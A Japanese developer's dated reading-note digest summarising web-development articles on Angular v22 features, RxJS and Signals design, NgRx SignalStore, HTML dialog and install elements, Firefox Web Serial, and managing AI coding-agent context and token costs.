  • 実験的に WebMCP もサポートされます。Web アプリ側が構造化された tool を公開し、AI アシスタントが DOM 操作に頼らずアプリとやり取りできる方向性です。Signal Forms から tool を自動生成する構想も触れられています。
  • Router では、ブラウザの Navigation API との統合が実験的に追加されます。RouterLink だけでなく通常の <a> による遷移も Router が intercept でき、スクロール復元や a11y 向けアナウンス、グローバル loading 表示などが扱いやすくなると説明されています。
  • 新 API として @Service()injectAsync() が紹介されています。@Service() は多くのケースで @Injectable({ providedIn: 'root' }) の代替になり、injectAsync() は必要になるまで service を遅延読み込みする非同期 DI / code splitting のための API です。
  • Template 周りでは、要素属性レベルのコメント、Host Directive の重複排除、spread / rest 構文、@switch の grouped cases と exhaustive check、template 内 arrow function が追加・改善されています。
  • Change Detection では、新規アプリで OnPush がデフォルト になります。また従来の ChangeDetectionStrategy.DefaultChangeDetectionStrategy.Eager に改名され、挙動をより明確に表す名前になります。
  • 今後の予告として、template 内 error boundary である @boundary が Q3 2026 に developer preview として提供予定です。コンポーネントの一部でエラーが起きてもページ全体を壊さず fallback UI を出せる仕組みです。
  • 注意点として、v22 では Webpack support、@angular-devkit/build-angular builders、@ngtools/webpack などが deprecated になっています。今後は application builder と TSGo support に注力する方針です。
  • 実務的には、Angular v22 は「Signals / zoneless / AI agent / modern template syntax」へ一気に寄せたリリースです。既存 Angular アプリでは、特に Webpack builder 依存、Default change detection 前提、Reactive Forms 前提、Router reuse / route providers の cleanup 周りを確認した方がよさそうです。

www.youtube.com

www.youtube.com

AI

dev.to

  • AI coding tool を使うときの token / context / cost の考え方を、開発者向けに説明する記事です。
  • token はモデルが読み書きする小さなテキスト単位で、ユーザーの入力、AI の返答、読み込ませたファイル、terminal logs、diff、過去の会話履歴などがすべて token として扱われます。
  • context window は、モデルが一度に見られる情報量のことです。32K、128K、200K、1M tokens など大きな context を持つモデルもありますが、大きければ常に良いわけではなく、コスト増・応答遅延・重要情報が埋もれるリスクがあります。
  • 記事の重要な主張は、大きい context は無料ではない という点です。大量の logs、巨大な stack trace、重複した file content、長すぎる project instruction、古い失敗履歴などは token を浪費し、AI の判断も鈍らせます。
  • input tokens と output tokens は価格が違い、多くのモデルでは output tokens の方が高いと説明されています。coding agent は説明、tool call、patch、reasoning などで出力が長くなりやすいため、output 側のコストが膨らみやすい、という指摘です。
  • よい context の与え方として、「900 行の notes / logs / failed attempts をまとめて投げる」のではなく、「失敗している test 名、error message、関連しそうな file path、変更のきっかけ」を絞って渡す例が紹介されています。
  • AGENTS.mdCLAUDE.md のような project instruction は有用ですが、毎回すべてを読み込ませる巨大ドキュメントにするのではなく、短い指示と必要な詳細 docs への導線にするべき、という提案です。
  • token / cost を減らす習慣として、正確な error だけを送る、関連 file path を入れる、まず inspect させてから変更させる、同じファイルを繰り返し貼らない、失敗履歴が溜まったら新 session にする、短い回答を求める、などが挙げられています。
  • Claude Code、Codex、OpenCode それぞれについて、project instruction を短くし、深い docs は必要なときだけ読ませる設計が推奨されています。Codex では project_doc_max_bytes のような設定にも触れています。
  • 筆者は token-optimizer という npm tool も紹介しています。terminal output、logs、diff、command result から重要部分だけを残して AI coding agent に渡すための補助 tool です。
  • 実務的には、Nx monorepo や Angular workspace のように context が膨らみやすい環境で特に参考になります。AGENTS.md には「見るべき場所」「実行コマンド」「規約へのリンク」だけを置き、詳細設計や過去ログは必要時に読ませる構成がよさそうです。

zenn.dev

  • Google Chrome チームが公開した Modern Web Guidance を紹介する記事です。AI エージェントが古い CSS / JavaScript / HTML の書き方をしがちな問題に対して、最新 Web Platform の知識を skill として注入する、という内容です。
  • 公式評価では、Claude Opus 4.7 に「画像をもっと速く読み込ませて」のような曖昧な開発依頼を 75 個出し、Modern Web Guidance なしでは正答率 52%、ありでは 85% まで上がったと紹介されています。
  • ガイドには CSS Layout、Performance、Accessibility、Security などのモダン Web 実装パターンが含まれます。たとえば CSS Layout では Flexbox / Grid / Subgrid の使い分け、flex-basiswidth の注意点、auto-fit / auto-fill の違いなどが扱われています。
  • Performance の例として、LCP になる画像には fetchpriority="high"、重要でない画像には fetchpriority="low" を付けるといった、実装レベルの guidance が紹介されています。
  • 導入は npx modern-web-guidance@latest install で、Amp、Antigravity、Codex、Cursor、Gemini CLI、GitHub Copilot、Claude Code など利用エージェントに合わせて SKILL.md を配置するウィザードが起動します。
  • ブラウザ対応状況は Baseline と連動しており、機能が主要ブラウザで安全に使える状態かを判断しながら、AI が実装案を調整できると説明されています。
  • 仕組みとしては、AI エージェントからの依頼に対して searchretrieve の 2 段階で関連ガイドを取得します。検索はオフラインの TensorFlow.js で動き、ネットワーク通信や API key が不要とされています。
  • 筆者は自身の portfolio site を題材に、CSS / JavaScript / HTML / accessibility / performance / security の観点で Modern Web Guidance に棚卸しさせ、採用済み・追加候補・見送りに分けた audit report を作っています。
  • 実務的には、AI coding agent に「古い React / CSS / JS の手癖」で書かせないための補助資料として有用です。Angular でも、template / CSS / accessibility / performance の実装レビューに組み込む価値がありそうです。
  • 特に CHIRIMEN 系の dashboard / console のような Web UI では、dialogpopoverfetchpriority、CSS layout、accessibility の改善候補を AI に洗い出させる用途と相性がよさそうです。
HTML

ics.media

  • <dialog> 要素を使って、ハンバーガーメニューをより安全・簡潔に実装する方法を紹介する記事です。
  • この記事の主張は、フルスクリーンメニューやドロワー型メニューは、単なる <div> ではなく モーダル UI として <dialog> で作るとよい というものです。([ICS MEDIA][4])
  • <dialog> の利点として、showModal() による top layer 表示で z-index 調整が不要、メニュー表示中に Tab キーで背面へフォーカスが移動しない、Escape キーで閉じられる、::backdrop で背景レイヤーを指定できる、スクリーンリーダーに dialog として伝わる、短いコードで実装できる、などが挙げられています。([ICS MEDIA][4])
  • 基本形では、開くボタン、<dialog id="menu">、閉じるボタン、<nav> を用意し、JavaScript では showModal()close() を呼び出すだけです。([ICS MEDIA][4])
  • CSS では、<dialog> の標準スタイル上書き、::backdrop、背景スクロール停止がポイントです。背景スクロール停止には body:has(dialog[open]) { overflow: hidden; } のような指定が紹介されています。([ICS MEDIA][4])
  • フルスクリーン型だけでなく、画面端から出る ドロワー型<dialog> で実装できます。外側は同じ <dialog> で、中に右から出る panel を置く構成です。([ICS MEDIA][4])
  • デメリットとして、よくある「三本線ボタンが連続的に × ボタンへ変形する」ような animation とは相性が悪いと説明されています。開くボタンと閉じるボタンが別レイヤーになるため、1 つのボタンを状態に応じて変形させる設計が難しいためです。([ICS MEDIA][4])
  • 将来的には、buttoncommand / commandfor 属性と、dialogclosedby="any" により、JavaScript なしで dialog を開閉できるようになる可能性にも触れています。ただし 2026年5月時点では iOS 18 Safari が未対応なので、当面は JavaScript 制御が無難とされています。([ICS MEDIA][4])
  • <dialog> 自体は Chrome 37、Edge 79、Safari 15.4、Firefox 98 以降で利用でき、現行ブラウザでは利用可能と見てよいとされています。表示 motion に使う @starting-styletransition-behavior は、それぞれ比較的新しいブラウザ対応が必要です。([ICS MEDIA][4])
  • 小さな簡易メニューで、背面を操作できてもよい場合は <dialog> ではなく popover 属性を使う選択肢も紹介されています。popover は非モーダルなので、ヘッダー右上の小さな一覧やカテゴリ一覧などに向いています。([ICS MEDIA][4])
  • 実務的には、ハンバーガーメニューを <div> + 独自 JS で実装している場合、まず Tab キーで背面へフォーカスが抜けないかを確認し、抜けるなら <dialog> への置き換えを検討する価値があります。

2026.05.29 覚書 / 2026.05.29 memo's

2026.05.29 覚書 / 2026.05.29 memo's

自分が参考になったブログの紹介します。

Angular

dev.to

  • Angular の新しい control flow である @switch の改善点を紹介する記事です。
  • 主なテーマは、@switchunion 型や enum の取りこぼしをコンパイル時に検出できる ようになった点です。
  • 例では、TicketStatus という union 型に new / in-progress / resolved / closed があり、テンプレート側で @switch を使ってステータス表示を切り替えています。
  • 従来のように @default なしで書くと、後から escalated のような新しい値を union 型に追加しても、テンプレート側が未対応のまま静かに UI が欠ける危険があります。
  • 改善策として、@default never; を追加することで、「ここに来る値は存在しないはず」と Angular に伝え、未処理の case がある場合にエラーとして検出させます。
  • もう 1 つの改善点として、複数の @case をまとめて同じテンプレートブロックに対応させる grouped cases が紹介されています。
  • たとえば newin-progress は同じ “Active” バッジ、resolvedclosed は同じ “Done” バッジを表示する、といった重複を減らせます。
  • まとめると、この記事は「Angular テンプレートでも TypeScript の型変更に追従しやすくし、UI 状態の抜け漏れを防ぐ」ための @switch 活用記事です。
  • 実務的には、チケット状態、注文状態、決済状態、デプロイ状態、招待状態、feature flag など、有限の状態を UI に反映する場面でかなり有用です。

dev.to

  • Angular で .env ファイルから環境変数を読み込み、複数環境向けの environment.ts に反映する方法を説明する記事です。
  • Angular 標準の src/environments 配下の environment files はビルド成果物に含まれるため、秘密情報をそのまま置くべきではない、という問題意識から始まっています。
  • 実装方針は、.env.development.env.staging.env.production のように環境ごとの .env を用意し、Node.js スクリプトで読み込んで Angular の environment file を更新する流れです。
  • dotenv を使って .env を読み込み、CLI 引数で development / staging / production を受け取り、対象の .env.[environment] を選択します。
  • その後、fs.readFileSync で Angular の src/environments/environment.[environment].ts を読み込み、productionapiBaseURLgreeting などの値を置換・生成する実装になっています。
  • この記事の方式は ビルド前に値を埋め込む アプローチです。そのため、ローカル開発、自前 hosting、Docker image 作成時には向いています。
  • 一方で、ビルド後に AWS / GitHub / hosting UI などから環境変数を差し替えたい用途には向かない、と明記されています。
  • 注意点として、Angular のフロントエンドに埋め込まれた値は最終的にブラウザから見えるため、API secret や private key のような本当の秘密情報を入れてはいけません。
  • 実務的には、API_BASE_URL、feature flag、ビルド環境名などを環境ごとに切り替える用途には使えますが、「秘密情報を隠す」方法として読むと危ないです。

qiita.com

  • Angular の EOL、セキュリティパッチ、AI コーディング支援の関係を扱った記事です。
  • 主張はかなり明確で、Angular v21 の MCP サーバー、Web Codegen Scorer、AI 向けベストプラクティスプロンプトは AI 生成コードを安全に近づけるが、それは最新バージョンを使っているチームに限られる、というものです。
  • EOL になった Angular を使っている場合、AI コパイロットには最新 Angular のガードレールがなく、さらに未パッチの CVE も残り続ける、というリスクを指摘しています。
  • Angular v20.2 以降では ng mcp による MCP サーバーが使え、AI エージェントが Angular 公式ドキュメントやベストプラクティス、ワークスペース構造にアクセスできると説明されています。
  • Angular v21 では Web Codegen Scorer や modernize など、AI 生成コードの品質確認・移行支援の仕組みが強調されています。
  • 記事では、v20 より古い Angular ではこれらの AI 向けガードレールを使えず、古い NgModules、Zone.js 前提、RxJS-heavy なパターンを AI が持ち込みやすい、という懸念が述べられています。
  • Angular v4〜v18 は 2026年5月時点で EOL、Angular v19 は 2026年5月19日に EOL とされ、古いバージョンはコミュニティセキュリティパッチを受け取れないと説明されています。
  • 対策として、可能なら v20 以上、できれば v21 以降へアップグレードし、難しい場合は HeroDevs の NES for Angular のような延長サポートを検討する、という流れです。
  • 実務的には、Angular のアップグレード判断を「新機能が欲しいから」ではなく、「AI 支援開発時代の安全な開発基盤を維持するため」と位置づけ直す記事です。
  • ただし HeroDevs 提供の記事なので、NES for Angular への誘導という商業的文脈は少し意識して読んだ方がよいです。
HTML

coliss.com

  • HTML の新要素 <install> を紹介する記事です。
  • <install> は、Web アプリのインストールボタンを JavaScript なしで設置できるようにするための新しい HTML 要素です。
  • 従来の PWA / Web アプリインストールでは、beforeinstallprompt イベントなどを使って JavaScript でインストールフローを制御する必要がありました。
  • <install></install> をページに置くだけで、ブラウザが標準化されたラベル・アイコン・外観のインストールボタンを表示し、クリック時に通常のインストール手順を開始します。
  • 現在のページ自身をインストールする場合は、Web App Manifest に id が定義されていれば、基本的には <install></install> だけでよいと説明されています。
  • 別オリジンの Web アプリをインストールさせたい場合は、installurl 属性を使って対象 URL を指定できます。
  • manifest の id がない場合は、manifestid 属性で計算済みの manifest id を指定する方法も紹介されています。
  • <install> をサポートしていないブラウザ向けには、要素内に fallback HTML を書けます。たとえば <a href="...">Launch Awesome App</a> のような代替リンクを入れておく形です。
  • インストール成功、キャンセル、検証エラーなどは promptactionpromptdismissvalidationstatuschanged イベントで検知できます。
  • 2026年5月20日時点の記事では、安定版サポートはまだ先で、Chrome / Edge 148+ でフラグを有効にすると試せる段階とされています。
  • 実務的には、PWA のインストール導線を自前 JavaScript で作り込む負担を減らし、ブラウザ標準の信頼できる UI に寄せる方向の提案です。
  • まだ実験段階なので、すぐ本番前提で使うというより、PWA / Web App Manifest 周辺の今後の標準化動向として追う価値が高い記事です。

2026.05.27 覚書 / 2026.05.27 memo's

2026.05.27 覚書 / 2026.05.27 memo's

自分が参考になったブログの紹介します。

Angular

dev.to

  • Angular 21 対応の @stackline/angular-multiselect-dropdown というマルチセレクト Dropdown コンポーネント紹介記事です。
  • 単なる Dropdown ではなく、業務画面・管理画面・フィルター・権限編集・レポート画面などで使うことを想定した実用寄りの UI コンポーネントとして説明されています。
  • 主な機能は、単一選択・複数選択、検索、全選択・全解除、グループ化、カスタム item / badge テンプレート、Template-driven Forms / Reactive Forms 対応、lazy loading、CSS / SCSS テーマ対応などです。
  • 移行しやすさが大きなテーマです。新しい selector は <angular-multiselect>、既存互換として <angular2-multiselect> も維持しており、既存テンプレートを一気に書き換えなくても段階的に移行できる、という主張です。
  • Angular major version ごとに検証済み package line を持つ方針で、広い peer dependency range よりも「CI・本番・移行計画で予測可能な互換性」を重視しています。
  • Live functional examples が強調されており、basic multi-select、検索、selection limit、grouped datasets、disabled state、empty data、long list、lazy loading、custom templates などをブラウザで確認できる構成です。
  • 読む価値としては、「Angular 21 対応 UI ライブラリの紹介」だけでなく、「既存 Angular アプリで UI コンポーネントをどう安全に移行するか」の観点が参考になります。

dev.to

  • 公式 Kubernetes Dashboard が 2026 年 1 月に archive された背景を踏まえ、元の Angular ベース UI を Angular 21 までアップグレードした、という事例記事です。
  • 筆者は以前、Kubernetes Dashboard を React + MUI で再構築したものの、元の Dashboard の見た目や雰囲気から離れてしまい「しっくり来なかった」と説明しています。
  • 最初は Angular 16 から 21 へ直接アップグレードしようとして失敗気味になり、UI は動いたものの問題が多く、いったん React + MUI 版へ切り替えた流れが書かれています。
  • その後、Claude Desktop / Claude Web / Claude Code を使い、旧 stack の技術・機能分析、Angular migration path の調査、Angular 16 → 21 の段階的 upgrade を進めた、という AI 支援開発の実例でもあります。
  • 最終的には、元の Web UI にかなり近い見た目で Angular 21 化できたとし、Tooltips や Status Pills など細かい差分も side-by-side 比較で修正したと述べています。
  • 読む価値としては、「Angular major version を飛ばして上げると事故る」「段階的 migration と都度テストが重要」という、かなり実務臭い教訓が得られます。
  • 特に、Angular 16 → 21 のような大きめの移行では、Nx / Angular workspace でも同じく「一段ずつ上げる」「各段階でテストする」方針の裏付けとして使えそうです。
NgRx

dev.to

  • NgRx SignalStore を「何にでも使うべき万能ツール」として扱うことへの批判記事です。
  • 筆者は SignalStore 自体を否定しているわけではなく、強力なツールだと認めたうえで、使いどころを誤ると技術的負債になる、という立場です。
  • 例として、URL parameter の id を元に User details を取得する画面を取り上げています。単純に component input signal と resource を組み合わせれば済む処理を、SignalStore に通すと setId method、patchState、component 側の effect などが必要になり、ボイラープレートと認知負荷が増えると説明しています。
  • 主な批判点は 3 つです。
    • component input を SignalStore に渡すのが複雑
    • server state / API state の管理に向いていない場面がある
    • dependency tracking / testability に弱点がある
  • 特に server state については、SignalStore が client state を source of truth として扱うため、URL state や resource 由来の state と同期する必要が出て、API trigger や loading / error handling が手作業になりがちだと指摘しています。
  • 一方で、SignalStore は「1 つの client state」を管理する用途には非常に向いている、という評価もしています。typed initial state、methods による state 更新、computed による derived state を 1 箇所にまとめられる点は長所とされています。
  • 筆者の結論はかなり明確で、SignalStore は「one client state」を扱う用途に絞り、server state、URL state、複数 state の facade / orchestration には使いすぎない方がよい、というものです。
  • 読む価値としては、NgRx SignalStore 導入時の設計判断にかなり刺さります。特に ComponentStore 的な局所 state 管理、Signals、Angular resource、server state 管理をどう分けるか考える材料になります。
RxJS

dev.to

  • Angular Signals が普及した現在でも、Angular アプリで RxJS は必要なのか?というテーマの記事です。
  • 結論は「必要。ただし、どこでも使うものではない」です。筆者は、これは好みの問題ではなく architecture / boundary の問題だと整理しています。
  • RxJS は event stream、非同期 composition、時間ベースの処理に強く、HTTP request、WebSocket、複雑な async workflow、event orchestration などに向いていると説明されています。
  • Signals は synchronous reactivity、local state tracking、明示的な依存関係に向いており、UI state、derived state、component-level reactivity に適しているとされています。
  • 問題は RxJS と Signals のどちらを選ぶかではなく、境界を決めずに混ぜることだと述べています。境界が曖昧だと、state の重複、logic の分散、source of truth の不明確化が起きる、という指摘です。
  • 記事内のシンプルなルールは「RxJS handles the outside world. Signals handle the UI world.」です。つまり、RxJS は integration layer、Signals は presentation layer として使い分けるという整理です。
  • 読む価値としては、Angular + RxJS + Signals の設計方針をチームで共有する時に使いやすい記事です。

2026.05.22 覚書 / 2026.05.22 memo's

2026.05.22 覚書 / 2026.05.22 memo's

自分が参考になったブログの紹介します。

Angular

dev.to

概要

Angular Material v22 において、ボタンのローディング状態(Loading State)の実装体験が改善されたという内容です。

従来はローディング対応を行うために、

  • ボタンの無効化
  • スピナー表示
  • レイアウト崩れ防止
  • 二重送信防止

などを個別実装するケースが多く、コンポーネントや CSS の責務が増えがちでした。

Angular Material v22 では、これらをより簡潔に扱える方向へ改善されています。

実務で嬉しいポイント

  • loading 管理のボイラープレート削減
  • API 多重送信防止
  • ローディング中でも UI 崩れしにくい
  • Angular Signals と組み合わせやすい

個人的な感想

Angular では、

<button [disabled]="loading()">
  <mat-spinner *ngIf="loading()" />
</button>

のような記述を見かけます。

今後は UI コンポーネント側に責務を寄せられそうです。

dev.to

概要

Angular の Zoneless Change Detection(Zone.js を使わない変更検知) を解説した記事です。

従来 Angular は zone.js に依存し、

  • Promise
  • setTimeout
  • DOM Event
  • HTTP

などを監視して、自動的に Change Detection を実行していました。

Zoneless モードでは、必要なタイミングだけ明示的に UI 更新を行います。

更新トリガ

  • Signal 更新
  • input()
  • UI イベント
  • async
  • ChangeDetectorRef

実務で嬉しいポイント

メリット

  • 不要な Change Detection 削減
  • Core Web Vitals 改善
  • デバッグしやすい

注意点

  • RxJS 主体アプリは移行コストあり
  • 暗黙更新に依存した実装は見直しが必要

個人的な感想

Angular は徐々に、

Observable
↓
Signal
↓
Zoneless

へ移行している印象があります。

Firefox

blog.mozilla.org

概要

Firefox の新デザイン方針を説明した記事です。

単なる見た目変更ではなく、

  • 軽快な操作感
  • 設定の見つけやすさ改善
  • プライバシー導線強化
  • AI 機能の透明化

が目的とされています。

主な変更点

  • 丸みを帯びた UI
  • タブデザイン変更
  • カスタマイズ性向上
  • 設定画面整理

実務で見るポイント

最近のブラウザは機能追加競争より、

「迷わせない体験」

へシフトしている印象があります。

hacks.mozilla.org

概要

Firefox 151 Desktop が Web Serial API を正式サポートした発表です。

これによりブラウザから直接、

  • マイコン
  • 開発ボード
  • 計測機器
  • シリアルコンソール

へ接続できるようになります。

できること

  • ファームウェア書込み
  • センサー制御
  • デバイス設定
  • ログ取得

実務で嬉しいポイント

これまでは、

Chrome 系中心

でしたが、

Chrome
+
Firefox

へ広がる可能性があります。

個人的な感想

今後は、

if ('serial' in navigator)

のような機能検出ベースの設計が重要になりそうです。

RxJS

dev.to

概要

「RxJS は便利だが、全部に使う必要はない」という記事です。

単純な通知用途なら、

  • EventEmitter
  • EventTarget
  • 独自イベント

でも十分なケースがあります。

使い分け例

用途 推奨
単純通知 EventEmitter
DOM イベント EventTarget
状態通知 Typed Event
複雑ストリーム RxJS
合成・キャンセル RxJS

記事の主張

悪い例(単純用途に RxJS 過剰利用)

search$
.pipe(
 debounceTime(300),
 switchMap(...)
)

単純なら、

EventEmitter

でも十分。

実務での感想

RxJS は不要ではなく、

問題に対して適切な抽象化を選ぶ

という考え方。

一方で以下は RxJS が依然として強いです。

  • Stream 合成
  • Retry
  • Cancellation
  • Reconnect
  • Multiplex
  • Backpressure

2026.05.13 覚書 / 2026.05.13 memo's

2026.05.13 覚書 / 2026.05.13 memo's

自分が参考になったブログの紹介します。 / Here are some blogs that I found helpful.

Angular

dev.to

  • Angular は「流行り」ではなく、エンタープライズ開発の標準に近づいているという主張の記事
  • Signals、Standalone Components、Zone.js 依存の縮小、制御フロー構文などにより、過去の「重い Angular」という印象が変わったと説明
  • React エコシステムの分散化に対し、Angular は「公式が揃っている安心感」が強みと整理
  • 大規模開発・長期保守・チーム開発に Angular が向いている理由を再評価している

dev.to

  • HttpClientModule ベースの旧構成から、provideHttpClient() + Functional Interceptor への移行を解説
  • withInterceptors() によって interceptor の順序が明確化され、tree-shaking やテスト容易性が改善されると説明
  • HttpInterceptorFninject() を使った関数型スタイルを推奨
  • Angular 20+ の HTTP レイヤー設計のモダン化がテーマ
Mozilla

hacks.mozilla.org

  • Mozilla が「信頼できる JavaScript 実行環境」を Open Web 上でどう維持するかを論じた記事
  • AI 時代・サプライチェーン攻撃・悪意ある npm パッケージ増加を背景に、Web の信頼性が重要になっていると説明
  • 権限管理、隔離実行、署名、透明性、依存関係監査などの方向性を紹介
  • 「Open Web を閉じたプラットフォームに対抗できる安全な基盤として維持する」という Mozilla 的思想が強い内容
NgRx

dev.to

  • 「SignalStore を万能に使うべきではない」という警鐘記事
  • 小規模 UI 状態には有効だが、複雑な業務ロジック・イベント駆動・履歴管理には不向きなケースがあると説明
  • RxJS や従来の Store を排除して SignalStore に統一すると、逆に保守負債になる可能性を指摘
  • 「Signals は道具であり、全レイヤーの置き換えではない」という現実的な立場の記事
Nx

dev.to

  • Angular アプリを 7 層に分離するアーキテクチャ提案
  • UI Component / Feature / Facade / State / API / Domain / Shared のような責務分離を推奨
  • Component にロジックを書き過ぎる問題を防ぎ、Nx Monorepo と相性の良い構成を目指している
  • Feature ごとの境界を明確にし、大規模 Angular 開発の保守性向上を狙った内容
  • あなたが最近検討している「ComponentStore 導入」「Facade 整理」「責務分離」とかなり近い思想です
Rust

matklad.github.io

  • Rust コミュニティで有名な matklad によるソフトウェアアーキテクチャ論
  • 「アーキテクチャは図ではなく、変更容易性を制御する仕組み」という考え方を説明
  • Clean Architecture 的な抽象論より、「依存方向」「変更頻度」「境界」の現実的設計を重視
  • Rust 特有の型システムやモジュール境界を使って、自然に壊れにくい構造を作る話が中心
  • 「巨大な abstraction より、小さい明確な責務分離」を強く推している

nvlabs.github.io

  • NVIDIA Labs による Rust + CUDA GPU 開発プロジェクト
  • Rust から CUDA カーネルを書き、高性能 GPU プログラミングを安全に行うことを目指している
  • C++ CUDA よりもメモリ安全性・型安全性を高めたい流れ
  • AI/LLM 時代の GPU 開発を Rust エコシステムに取り込もうという研究色が強い
  • 「Rust を AI/HPC 分野にも広げたい」という最近の流れを感じる内容